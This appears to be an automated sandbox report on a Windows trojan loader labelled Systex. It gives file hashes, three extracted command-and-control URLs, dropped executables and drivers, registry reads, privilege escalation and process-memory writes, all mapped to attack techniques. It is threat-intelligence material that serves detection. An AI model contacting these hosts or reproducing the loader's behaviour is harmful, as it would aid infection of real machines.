systex | 23e511e51c609f9b772303ef1c199ec4dcd2cf7d9574b16df4ae996cb37f7511

Analysis

max time kernel
148s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/07/2026, 14:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
Size 230KB
Sample260727-rlccfsvsgz
SHA256 23e511e51c609f9b772303ef1c199ec4dcd2cf7d9574b16df4ae996cb37f7511
MD5 bf02061a7b8a9feebaf1d54045c56cbd
SHA1 5ebbd3303a5ffef9f76e18974cc5aa17d11d34a2
SHA512 e6f4bb4a28faac3706051cf8ff07e049c1c466b6f70cf8f62f3a94cc3d0f86941c45c577adf7f3b6414087395168daa68b07f835172cd23258aa59849f9857c0
SSDEEP 3072:YJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:YghLQ0sQmpcF8BzXfwVfAI
TLSH
T117344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba8102
http://xytets.com:2345/ll/out.txt
http://xytets.com:2345/t.asp?os=home8102

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
900	CP.exe
3852	zxrmkfzupj.exe
1244	CP.exe
3188	CP.exe
5184	i_zxrmkfzupj.exe
2568	wuomhezwro.sys
5240	CP.exe
2356	omgezwrpje.exe
3024	CP.exe
4396	CP.exe
468	i_omgezwrpje.exe
3800	jebwuomgey.sys
5660	CP.exe
3492	toljhbywtr.exe
3516	CP.exe
264	CP.exe
4256	i_toljhbywtr.exe
2408	rljgbytrlj.sys
5744	CP.exe
3012	rojgbztolg.exe
4848	CP.exe
2032	CP.exe
3324	i_rojgbztolg.exe
2976	gaysqlidbv.sys
564	CP.exe
6072	vqnljdbvtq.exe
3384	CP.exe
5704	CP.exe
3420	i_vqnljdbvtq.exe
4896	qnlidaysqn.sys
1500	CP.exe
5256	sqkidavsnk.exe
1328	CP.exe
2196	CP.exe
5924	i_sqkidavsnk.exe
5088	sqkidavtnl.sys
2324	CP.exe
4080	ifaxspnkic.exe
5976	CP.exe
5912	CP.exe
1588	i_ifaxspnkic.exe
1896	kfcauspnkf.sys
4240	CP.exe
3108	kicaxvsnhf.exe
4596	CP.exe
5716	CP.exe
2960	i_kicaxvsnhf.exe
3372	spjhczusmk.sys
4192	CP.exe
1160	ecxupmhfzx.exe
5708	CP.exe
6040	CP.exe
3336	i_ecxupmhfzx.exe
5888	wuomhecwur.sys
5828	CP.exe
6112	urpjhecwro.exe
4516	CP.exe
4952	CP.exe
2020	i_urpjhecwro.exe
6044	bztrmjebwu.sys
5796	CP.exe
5036	trljdbwtom.exe
3728	CP.exe
5640	CP.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\km\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\fil\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\el\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\sw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\uk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\iw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\pl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\mn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\sk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\da\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\id\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\en_GB\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\pt_PT\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\ta\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\zh_CN\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\ur\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\zh_HK\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\service_worker_bin_prod.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\es\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\is\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\fr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\ko\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\be\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\page_embed_script.js	msedge.exe
File created	C:\Windows\SystemTemp\msedge_url_fetcher_5392_885252034\GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_108_1_0.crx	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\ro\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\ar\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\pt_BR\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\mr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\cy\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\de\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\ml\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\az\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\en\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\it\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\en_US\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\lt\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\lv\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\nl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\ru\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\th\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\pa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\ja\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\en_CA\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\fi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\kn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\mk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\gl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\sl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\no\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\si\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\fa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\offscreendocument.html	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\tr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\fr_CA\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\bg\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\cs\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\128.png	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\af\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\or\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\offscreendocument_main.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\sr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_625400445\_locales\as\messages.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 40 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ifaxspnkic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ecxupmhfzx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	trljdbwtom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_trljdbwtom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ifaxsqkica.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zxrmkfzupj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_toljhbywtr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lidbvtnlfd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	omgezwrojh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kicaxvsnhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ecxupmhfzx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xupnhfzxrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_omgezwrpje.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rojgbztolg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vqnljdbvtq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_sqkidavsnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jgeywtrljg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_omgezwrojh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	omgezwrpje.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	toljhbywtr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rojgbztolg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vqnljdbvtq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ifaxspnkic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jgeywtrljg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ifaxsqkica.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zxrmkfzupj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_urpjhecwro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ifaxsqkica.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rpjhecwupm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	urpjhecwro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tnljdbvtrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xupnhfzxrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rpjhecwupm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rljebwuomj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sqkidavsnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kicaxvsnhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tnljdbvtrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_lidbvtnlfd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4268	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5052	ipconfig.exe
4100	ipconfig.exe
2716	ipconfig.exe
4756	ipconfig.exe
260	ipconfig.exe
3372	ipconfig.exe
3420	ipconfig.exe
5756	ipconfig.exe
5748	ipconfig.exe
2012	ipconfig.exe
2552	ipconfig.exe
5608	ipconfig.exe
5108	ipconfig.exe
4256	ipconfig.exe
2020	ipconfig.exe
5688	ipconfig.exe
4936	ipconfig.exe
5960	ipconfig.exe
5288	ipconfig.exe
4724	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 6 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134296354001170677"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3797332335-34111092-3597280141-1000\{2B4A3AFF-5BB0-4D41-B86C-E3D33F8A3C60}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
3852	zxrmkfzupj.exe
3852	zxrmkfzupj.exe
3852	zxrmkfzupj.exe
3852	zxrmkfzupj.exe
3852	zxrmkfzupj.exe
3852	zxrmkfzupj.exe
3852	zxrmkfzupj.exe
3852	zxrmkfzupj.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
5392	msedge.exe
5392	msedge.exe
5392	msedge.exe
5392	msedge.exe
5392	msedge.exe
5392	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	5184	i_zxrmkfzupj.exe
Token: SeDebugPrivilege	468	i_omgezwrpje.exe
Token: SeDebugPrivilege	4256	i_toljhbywtr.exe
Token: SeDebugPrivilege	3324	i_rojgbztolg.exe
Token: SeDebugPrivilege	3420	i_vqnljdbvtq.exe
Token: SeDebugPrivilege	5924	i_sqkidavsnk.exe
Token: SeDebugPrivilege	1588	i_ifaxspnkic.exe
Token: SeDebugPrivilege	2960	i_kicaxvsnhf.exe
Token: SeDebugPrivilege	3336	i_ecxupmhfzx.exe
Token: SeDebugPrivilege	2020	i_urpjhecwro.exe
Token: SeDebugPrivilege	5296	i_trljdbwtom.exe
Token: SeDebugPrivilege	3336	i_jgeywtrljg.exe
Token: SeDebugPrivilege	2276	i_tnljdbvtrl.exe
Token: SeDebugPrivilege	3688	i_lidbvtnlfd.exe
Token: SeDebugPrivilege	5672	i_ifaxsqkica.exe
Token: SeDebugPrivilege	3224	i_ifaxsqkica.exe
Token: SeDebugPrivilege	3420	i_xupnhfzxrp.exe
Token: SeDebugPrivilege	4320	i_rpjhecwupm.exe
Token: SeDebugPrivilege	5888	i_omgezwrojh.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5392	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2956 wrote to memory of 5956	2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe	88
PID 2956 wrote to memory of 5480	2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe	89
PID 5956 wrote to memory of 5392	5956	iexplore.exe	91
PID 5480 wrote to memory of 6040	5480	iexplore.exe	92
PID 5392 wrote to memory of 2044	5392	msedge.exe	93
PID 5392 wrote to memory of 4268	5392	msedge.exe	94
PID 5392 wrote to memory of 2072	5392	msedge.exe	95
PID 5392 wrote to memory of 2072	5392	msedge.exe	95
PID 5392 wrote to memory of 2072	5392	msedge.exe	95
PID 5392 wrote to memory of 4540	5392	msedge.exe	96
PID 5392 wrote to memory of 4540	5392	msedge.exe	96
PID 5392 wrote to memory of 364	5392	msedge.exe	98
PID 5392 wrote to memory of 364	5392	msedge.exe	98
PID 5392 wrote to memory of 364	5392	msedge.exe	98
PID 5392 wrote to memory of 244	5392	msedge.exe	99
PID 5392 wrote to memory of 244	5392	msedge.exe	99
PID 5392 wrote to memory of 244	5392	msedge.exe	99
PID 5392 wrote to memory of 4792	5392	msedge.exe	100
PID 5392 wrote to memory of 4792	5392	msedge.exe	100
PID 5392 wrote to memory of 4792	5392	msedge.exe	100
PID 5392 wrote to memory of 1284	5392	msedge.exe	101
PID 5392 wrote to memory of 1284	5392	msedge.exe	101
PID 5392 wrote to memory of 1284	5392	msedge.exe	101
PID 5392 wrote to memory of 5156	5392	msedge.exe	102
PID 5392 wrote to memory of 5156	5392	msedge.exe	102
PID 5392 wrote to memory of 5156	5392	msedge.exe	102
PID 5392 wrote to memory of 2840	5392	msedge.exe	104
PID 5392 wrote to memory of 2840	5392	msedge.exe	104
PID 5392 wrote to memory of 5536	5392	msedge.exe	105
PID 5392 wrote to memory of 2860	5392	msedge.exe	106
PID 5392 wrote to memory of 5536	5392	msedge.exe	105
PID 5392 wrote to memory of 2860	5392	msedge.exe	106
PID 2956 wrote to memory of 900	2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe	107
PID 5392 wrote to memory of 4800	5392	msedge.exe	110
PID 3852 wrote to memory of 1244	3852	zxrmkfzupj.exe	112
PID 5392 wrote to memory of 5680	5392	msedge.exe	115
